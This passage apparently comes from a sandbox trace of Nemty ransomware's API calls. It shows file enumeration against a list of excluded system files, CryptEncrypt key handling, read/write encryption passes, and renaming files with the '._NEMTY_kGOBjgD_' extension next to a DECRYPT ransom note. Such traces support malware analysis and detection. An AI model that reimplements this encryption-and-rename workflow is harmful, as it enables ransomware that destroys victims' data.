lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0068.839] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0068.839] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0068.839] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0068.839] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0068.839] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0068.839] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb5bd550, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xdb5bd550, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xdb5bd550, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0068.839] FindClose (in: hFindFile=0x3423a70 | out: hFindFile=0x3423a70) returned 1 [0068.839] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0068.839] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942b0 | out: hHeap=0x4f90000) returned 1 [0068.839] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94238 | out: hHeap=0x4f90000) returned 1 [0068.839] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e96ab6a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e96ab6a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x12ea, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="menu_style_default_Thumbnail.png", cAlternateFileName="")) returned 1 [0068.839] lstrcmpiW (lpString1="menu_style_default_Thumbnail.png", lpString2=".") returned 1 [0068.840] lstrcmpiW (lpString1="menu_style_default_Thumbnail.png", lpString2="..") returned 1 [0068.840] lstrcmpiW (lpString1="menu_style_default_Thumbnail.png", lpString2="...") returned 1 [0068.840] lstrcmpiW (lpString1="menu_style_default_Thumbnail.png", lpString2="windows") returned -1 [0068.840] lstrcmpiW (lpString1="menu_style_default_Thumbnail.png", lpString2="$RECYCLE.BIN") returned 1 [0068.840] lstrcmpiW (lpString1="menu_style_default_Thumbnail.png", lpString2="rsa") returned -1 [0068.840] lstrcmpiW (lpString1="menu_style_default_Thumbnail.png", lpString2="NTDETECT.COM") returned -1 [0068.840] lstrcmpiW (lpString1="menu_style_default_Thumbnail.png", lpString2="ntldr") returned -1 [0068.840] lstrcmpiW (lpString1="menu_style_default_Thumbnail.png", lpString2="MSDOS.SYS") returned -1 [0068.840] lstrcmpiW (lpString1="menu_style_default_Thumbnail.png", lpString2="IO.SYS") returned 1 [0068.840] lstrcmpiW (lpString1="menu_style_default_Thumbnail.png", lpString2="boot.ini") returned 1 [0068.840] lstrcmpiW (lpString1="menu_style_default_Thumbnail.png", lpString2="boot.ini") returned 1 [0068.840] lstrcmpiW (lpString1="menu_style_default_Thumbnail.png", lpString2="AUTOEXEC.BAT") returned 1 [0068.840] lstrcmpiW (lpString1="menu_style_default_Thumbnail.png", lpString2="ntuser.dat") returned -1 [0068.840] lstrcmpiW (lpString1="menu_style_default_Thumbnail.png", lpString2="desktop.ini") returned 1 [0068.840] lstrcmpiW (lpString1="menu_style_default_Thumbnail.png", lpString2="CONFIG.SYS") returned 1 [0068.840] lstrcmpiW (lpString1="menu_style_default_Thumbnail.png", lpString2="RECYCLER") returned -1 [0068.840] lstrcmpiW (lpString1="menu_style_default_Thumbnail.png", lpString2="BOOTSECT.BAK") returned 1 [0068.840] lstrcmpiW (lpString1="menu_style_default_Thumbnail.png", lpString2="bootmgr") returned 1 [0068.840] lstrcmpiW (lpString1="menu_style_default_Thumbnail.png", lpString2="programdata") returned -1 [0068.840] lstrcmpiW (lpString1="menu_style_default_Thumbnail.png", lpString2="appdata") returned 1 [0068.840] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0068.840] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="menu_style_default_Thumbnail.png", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0068.840] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0068.840] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="menu_style_default_Thumbnail.png", cchWideChar=32, lpMultiByteStr=0x6345608, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="menu_style_default_Thumbnail.png", lpUsedDefaultChar=0x0) returned 32 [0068.840] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0068.840] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f94238 [0068.840] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="menu_style_default_Thumbnail.png", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0068.840] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0068.840] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="menu_style_default_Thumbnail.png", cchWideChar=32, lpMultiByteStr=0x6345608, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="menu_style_default_Thumbnail.png", lpUsedDefaultChar=0x0) returned 32 [0068.840] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0068.840] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94238 | out: hHeap=0x4f90000) returned 1 [0068.841] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0068.841] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0068.841] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="menu_style_default_Thumbnail.png", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0068.841] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0068.841] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="menu_style_default_Thumbnail.png", cchWideChar=32, lpMultiByteStr=0x6345608, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="menu_style_default_Thumbnail.png", lpUsedDefaultChar=0x0) returned 32 [0068.841] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0068.841] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0068.841] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="menu_style_default_Thumbnail.png", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0068.841] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0068.841] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="menu_style_default_Thumbnail.png", cchWideChar=32, lpMultiByteStr=0x6345640, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="menu_style_default_Thumbnail.png", lpUsedDefaultChar=0x0) returned 32 [0068.841] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0068.841] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94238 [0068.841] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0068.841] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f942e0 [0068.841] Sleep (dwMilliseconds=0x5) [0068.856] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xdcb039f0, dwHighDateTime=0x1d561e7)) [0068.856] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xdcb039f0, dwHighDateTime=0x1d561e7)) [0068.856] GetLastError () returned 0x12 [0068.856] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0068.856] GetLastError () returned 0x12 [0068.856] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0068.856] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0068.856] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0068.857] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653ec60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653ec60*=0x100) returned 1 [0068.857] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x10, dwBufLen=0x100 | out: pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x100) returned 1 [0068.857] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ec5c | out: pszString=0x0, pcchString=0x653ec5c) returned 1 [0068.857] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0068.857] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ec5c | out: pszString="u8PM2WO9kOTsB4UcNHmNnZzwFn+s9bs4Dfcd3jr6zCf0ImkbZKiCK3thIBP87Svj\r\n2JeIX4JW6XoDHHY/jwuL4vA+J2sXH5o2XUJ/hv5gFt6z8fB+Ba6Hcke7EQDXdR6I\r\ngkEoPJyWqs+mnwaK5iWavTBhQK55WTmZsE6YeZ858Kte4T91vgXx2WlPSJ8MHX0s\r\nBL9ljIe0hDEdNE7Vjc34gCofyJzCkR7eaHcICez/MkF4G6WY34ND5NIW88VuR9Kt\r\nelpkaJut+lPn+mGXp14pSP52VzXWmYjqem3yBBv0ThS1uLcfR+fWqQVtokCzqk2Q\r\n5Wyh2cK5bBXQNNxulW+JpQ==\r\n", pcchString=0x653ec5c) returned 1 [0068.857] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0068.857] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0068.857] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0068.857] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0068.857] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0068.857] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0068.857] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\menu_style_default_Thumbnail.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\menu_style_default_thumbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0068.865] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eeb0 | out: lpFileSize=0x653eeb0*=18150282790956772) returned 0 [0068.865] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0068.865] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.865] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0068.875] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.875] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0068.875] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.875] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0068.885] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.885] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0068.885] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.885] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0068.894] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.894] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0068.894] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.894] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0068.904] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.904] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0068.904] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.904] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0068.913] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.913] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0068.913] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.913] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0068.923] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.923] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0068.923] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.923] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0068.934] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.934] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0068.934] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.934] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0068.943] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.943] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0068.943] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.943] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0068.953] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.953] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0068.953] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.953] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0068.962] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.962] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0068.962] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.962] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0068.969] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.969] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0068.969] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.969] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0068.975] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.975] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0068.975] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163940, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.975] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0068.975] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0068.975] CloseHandle (hObject=0xffffffff) returned 0 [0068.975] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94388 [0068.975] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0068.975] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0068.975] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0068.975] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0068.975] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0068.975] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63401b8 [0068.975] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340260 [0068.975] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0068.975] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0068.975] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\menu_style_default_Thumbnail.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\menu_style_default_thumbnail.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\menu_style_default_Thumbnail.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\menu_style_default_thumbnail.png._nemty_kgobjgd_")) returned 0 [0068.975] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0068.975] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94388 | out: hHeap=0x4f90000) returned 1 [0068.975] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0068.975] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0068.975] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0068.975] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0068.975] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0068.975] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942e0 | out: hHeap=0x4f90000) returned 1 [0068.976] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0068.976] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0068.976] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ef11f38, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ef11f38, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, 